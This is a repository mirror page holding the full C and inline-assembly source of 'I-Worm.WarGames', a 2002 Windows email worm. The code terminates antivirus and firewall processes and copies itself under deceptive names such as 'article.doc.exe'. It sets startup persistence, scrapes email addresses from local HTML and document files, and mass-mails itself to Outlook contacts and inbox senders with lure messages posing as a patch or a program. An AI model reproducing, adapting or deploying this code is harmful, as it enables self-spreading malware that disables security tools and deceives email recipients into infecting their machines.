Mirrors/vxug-MalwareSourceCode
13
1
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
Code Releases Activity
464e532a4b
vxug-MalwareSourceCode/Win32/I-Worm.WarGames.c
vxunderground 1ffdfd1526
Add files via upload
2020-10-09 22:16:57 -05:00

380 lines
11 KiB
C
Raw Blame History

/*
Name : I-Worm.WarGames
Author : PetiK
Date : February 12th 2002 - February 22th 2002
Language : C++/Win32asm
*/
#include <stdio.h>
#include <windows.h>
#include <mapi.h>
#include <tlhelp32.h>
#pragma argused
#pragma inline
char filename[100],sysdir[100],copyr[50]="w",winhtm[100],subj[50];
int num,counter=0;
char *alph[]={"a","b","c","d","e","f","g","h","i","j","k","l","m",
"n","o","p","q","r","s","t","u","v","w","x","y","z"};
char dn[20]="Wargames Uninstall",ust[40]="rundll32 mouse,disable";
LPSTR SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
BYTE desktop[50],favoris[50],personal[50],cache[50],page[150];
DWORD sizcache=sizeof(desktop),sizfavoris=sizeof(favoris),
sizpersonal=sizeof(personal),sizdesktop=sizeof(cache),spage=sizeof(page);
DWORD type=REG_SZ;
FILE *vbsworm,*winstart;
HANDLE lSnapshot,myproc;
BOOL rProcessFound;
LHANDLE session;
MapiMessage mess;
MapiMessage *mes;
MapiRecipDesc from;
char messId[512],mname[50],maddr[30];
HINSTANCE hMAPI;
WIN32_FIND_DATA ffile;
PROCESSENTRY32 uProcess;
HKEY hReg;
SYSTEMTIME wartime;
void StopAV(char *);
void FindFile(char *,char *);
void GetMail(char *,char *);
void sendmail(char *);
ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);
ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);
ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);
int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
{
// Kill Some AntiVirus
StopAV("AVP32.EXE"); // AVP
StopAV("AVPCC.EXE"); // AVP
StopAV("AVPM.EXE"); // AVP
StopAV("WFINDV32.EXE"); // Dr. Solomon
StopAV("F-AGNT95.EXE"); // F-Secure
StopAV("NAVAPW32.EXE"); // Norton Antivirus
StopAV("NAVW32.EXE"); // Norton Antivirus
StopAV("NMAIN.EXE"); // Norton Antivirus
StopAV("PAVSCHED.EXE"); // Panda AntiVirus
StopAV("ZONEALARM.EXE"); // ZoneAlarm
// Kill Some Worm
StopAV("KERN32.EXE"); // I-Worm.Badtrans
StopAV("SETUP.EXE"); // I-Worm.Cholera
StopAV("RUNDLLW32.EXE"); // I-Worm.Gift
StopAV("GONER.SCR"); // I-Worm.Goner
StopAV("LOAD.EXE"); // I-Worm.Nimda
StopAV("INETD.EXE"); // I-Worm.Plage - BadTrans
StopAV("FILES32.VXD"); // I-Worm.PrettyPark
StopAV("SCAM32.EXE"); // I-Worm.Sircam
StopAV("GDI32.EXE"); // I-Worm.Sonic
StopAV("_SETUP.EXE"); // I-Worm.ZippedFiles
StopAV("EXPLORE.EXE"); // I-Worm.ZippedFiles
StopAV("ZIPPED_FILES.EXE"); // I-Worm.ZippedFiles
GetModuleFileName(hInst,filename,100);
GetSystemDirectory((char *)sysdir,100);
SetCurrentDirectory(sysdir);
CopyFile(filename,"article.doc.exe",TRUE);
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WarGames Worm",&hReg);
RegSetValueEx(hReg,"DisplayName",0,REG_SZ,(BYTE *)dn,20);
RegSetValueEx(hReg,"UninstallString",0,REG_SZ,(BYTE *)ust,40);
RegCloseKey(hReg);
randomize();
num=rand() % 10;
randname:
strcat(copyr,alph[GetTickCount()%25]);
if(++counter==num) {
strcat(copyr,".exe");
MessageBox(NULL,copyr,"New Copy Name:",MB_OK|MB_ICONINFORMATION);
CopyFile(filename,copyr,FALSE);
WriteProfileString("WINDOWS","RUN",copyr);
WritePrivateProfileString("rename","NUL",filename,"WININIT.INI");
goto endrandname;
}
Sleep(GetTickCount()%100);
goto randname;
endrandname:
hMAPI=LoadLibrary("MAPI32.DLL");
(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");
RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);
RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);
RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);
RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);
RegQueryValueEx(hReg,"Cache",0,&type,cache,&sizcache);
RegCloseKey(hReg);
GetWindowsDirectory((char *)winhtm,100);
_asm
{
call @wininet
db "WININET.DLL",0
@wininet:
call LoadLibrary
test eax,eax
jz end_asm
mov ebp,eax
call @inetconnect
db "InternetGetConnectedState",0
@inetconnect:
push ebp
call GetProcAddress
test eax,eax
jz end_wininet
mov edi,eax
verf:
push 0
push Tmp
call edi
dec eax
jnz verf
end_wininet:
push ebp
call FreeLibrary
end_asm:
jmp end_all_asm
Tmp dd 0
end_all_asm:
}
FindFile(desktop,"*.htm");
FindFile(desktop,"*.doc");
FindFile(favoris,"*.ht*");
FindFile(personal,"*.ht*");
FindFile(personal,"*.doc");
FindFile(personal,"*.xls");
FindFile(personal,"*.asp");
FindFile(cache,".ht*");
FindFile(cache,".php");
FindFile(cache,".asp");
FindFile(winhtm,".ht*");
FindFile(winhtm,".doc");
vbsworm=fopen("wargames.vbs","w");
fprintf(vbsworm,"On Error Resume Next\n");
fprintf(vbsworm,"msgbox %cScripting.FileSystemObject%c\n",34,34);
fprintf(vbsworm,"Set sf=CreateObject(%cScripting.FileSystemObject%c)\n",34,34);
fprintf(vbsworm,"Set sys=sf.GetSpecialFolder(1)\n");
fprintf(vbsworm,"Set OA=CreateObject(%cOutlook.Application%c)\n",34,34);
fprintf(vbsworm,"Set MA=OA.GetNameSpace(%cMAPI%c)\n",34,34);
fprintf(vbsworm,"For Each C In MA.AddressLists\n");
fprintf(vbsworm,"If C.AddressEntries.Count <> 0 Then\n");
fprintf(vbsworm,"For D=1 To C.AddressEntries.Count\n");
fprintf(vbsworm,"Set AD=C.AddressEntries(D)\n");
fprintf(vbsworm,"Set EM=OA.CreateItem(0)\n");
fprintf(vbsworm,"EM.To=AD.Address\n");
fprintf(vbsworm,"EM.Subject=%cHi %c&AD.Name&%c read this.%c\n",34,34,34,34);
fprintf(vbsworm,"body=%cI found this on the web and it is important.%c\n",34,34);
fprintf(vbsworm,"body = body & VbCrLf & %cOpen the attached file and read.%c\n",34,34);
fprintf(vbsworm,"EM.Body=body\n");
fprintf(vbsworm,"EM.Attachments.Add(sys&%c\\article.doc.exe%c)\n",34,34);
fprintf(vbsworm,"EM.DeleteAfterSubmit=True\n");
fprintf(vbsworm,"If EM.To <> %c%c Then\n",34,34);
fprintf(vbsworm,"EM.Send\n");
fprintf(vbsworm,"End If\n");
fprintf(vbsworm,"Next\n");
fprintf(vbsworm,"End If\n");
fprintf(vbsworm,"Next\n");
fclose(vbsworm);
ShellExecute(NULL,"open","wargames.vbs",NULL,NULL,SW_SHOWNORMAL);
Sleep(5000);
DeleteFile("wargames.vbs");
(FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");
(FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");
(FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");
(FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");
(FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");
mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);
if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {
do {
if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS) {
strcpy(mname,mes->lpOriginator->lpszName);
strcpy(maddr,mes->lpOriginator->lpszAddress);
mes->ulReserved=0;
mes->lpszSubject="Re: Fw:";
mes->lpszNoteText="I received your mail but I cannot reply immediatly.\n"
"I send you a nice program. Look at this.\n\n"
" See you soon.";
mes->lpszMessageType=NULL;
mes->lpszDateReceived=NULL;
mes->lpszConversationID=NULL;
mes->flFlags=MAPI_SENT;
mes->lpOriginator->ulReserved=0;
mes->lpOriginator->ulRecipClass=MAPI_ORIG;
mes->lpOriginator->lpszName=mes->lpRecips->lpszName;
mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;
mes->nRecipCount=1;
mes->lpRecips->ulReserved=0;
mes->lpRecips->ulRecipClass=MAPI_TO;
mes->lpRecips->lpszName=mname;
mes->lpRecips->lpszAddress=maddr;
mes->nFileCount=1;
mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
memset(mes->lpFiles, 0, sizeof(MapiFileDesc));
mes->lpFiles->ulReserved=0;
mes->lpFiles->flFlags=NULL;
mes->lpFiles->nPosition=-1;
mes->lpFiles->lpszPathName=filename;
mes->lpFiles->lpszFileName="funny.exe";
mes->lpFiles->lpFileType=NULL;
mSendMail(session, NULL, mes, NULL, NULL);
}
}while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);
free(mes->lpFiles);
mFreeBuffer(mes);
mLogoff(session,0,0,0);
FreeLibrary(hMAPI);
}
}
void FindFile(char *folder, char *ext)
{
register bool abc=TRUE;
register HANDLE hFile;
char mail[128];
SetCurrentDirectory(folder);
hFile=FindFirstFile(ext,&ffile);
if(hFile!=INVALID_HANDLE_VALUE) {
while(abc) {
SetFileAttributes(ffile.cFileName,FILE_ATTRIBUTE_ARCHIVE);
GetMail(ffile.cFileName,mail);
if(strlen(mail)>0) {
sendmail(mail);
}
abc=FindNextFile(hFile,&ffile);
}
}
}
void GetMail(char *namefile, char *mail)
{
HANDLE hf,hf2;
char *mapped;
DWORD size,i,k;
BOOL test=FALSE,valid=FALSE;
mail[0]=0;
hf=CreateFile(namefile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,0);
if(hf==INVALID_HANDLE_VALUE)
return;
size=GetFileSize(hf,NULL);
if(!size)
return;
if(size<8)
return;
size-=100;
hf2=CreateFileMapping(hf,0,PAGE_READONLY,0,0,0);
if(!hf2) {
CloseHandle(hf);
return;
}
mapped=(char *)MapViewOfFile(hf2,FILE_MAP_READ,0,0,0);
if(!mapped) {
CloseHandle(hf2);
CloseHandle(hf);
return;
}
i=0;
while(i<size && !test) {
if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {
test=TRUE;
i+=strlen("mailto:");
k=0;
while(mapped[i]!=34 && mapped[i]!=39 && i<size && k<127) {
if(mapped[i]!=' ') {
mail[k]=mapped[i];
k++;
if(mapped[i]=='@')
valid=TRUE;
}
i++;
}
mail[k]=0;
} else
i++;
}
if(!valid)
mail[0]=0;
UnmapViewOfFile(mapped);
CloseHandle(hf2);
CloseHandle(hf);
return;
}
void sendmail(char *tos)
{
memset(&mess,0,sizeof(MapiMessage));
memset(&from,0,sizeof(MapiRecipDesc));
wsprintf(subj,"Mail to %s.",tos);
from.lpszName=NULL;
from.ulRecipClass=MAPI_ORIG;
mess.lpszSubject=subj;
mess.lpszNoteText="I send you this patch.\n"
"It corrects a bug into Internet Explorer and Outlook.\n\n"
" Have a nice day. Best Regards.";
mess.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
if(!mess.lpRecips)
return;
memset(mess.lpRecips,0,sizeof(MapiRecipDesc));
mess.lpRecips->lpszName=tos;
mess.lpRecips->lpszAddress=tos;
mess.lpRecips->ulRecipClass=MAPI_TO;
mess.nRecipCount=1;
mess.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
if(!mess.lpFiles)
return;
memset(mess.lpFiles,0,sizeof(MapiFileDesc));
mess.lpFiles->lpszPathName=filename;
mess.lpFiles->lpszFileName="patch.exe";
mess.nFileCount=1;
mess.lpOriginator=&from;
mSendMail(0,0,&mess,0,0);
free(mess.lpRecips);
free(mess.lpFiles);
}
void StopAV(char *antivirus)
{
register BOOL term;
lSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
uProcess.dwSize=sizeof(uProcess);
rProcessFound=Process32First(lSnapshot,&uProcess);
while(rProcessFound) {
if(strstr(uProcess.szExeFile,antivirus)!=NULL) {
myproc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,uProcess.th32ProcessID);
if(myproc!=NULL) {
term=TerminateProcess(myproc,0);
}
CloseHandle(myproc);
}
rProcessFound=Process32Next(lSnapshot,&uProcess);
}
CloseHandle(lSnapshot);
}
View Git Blame Copy Permalink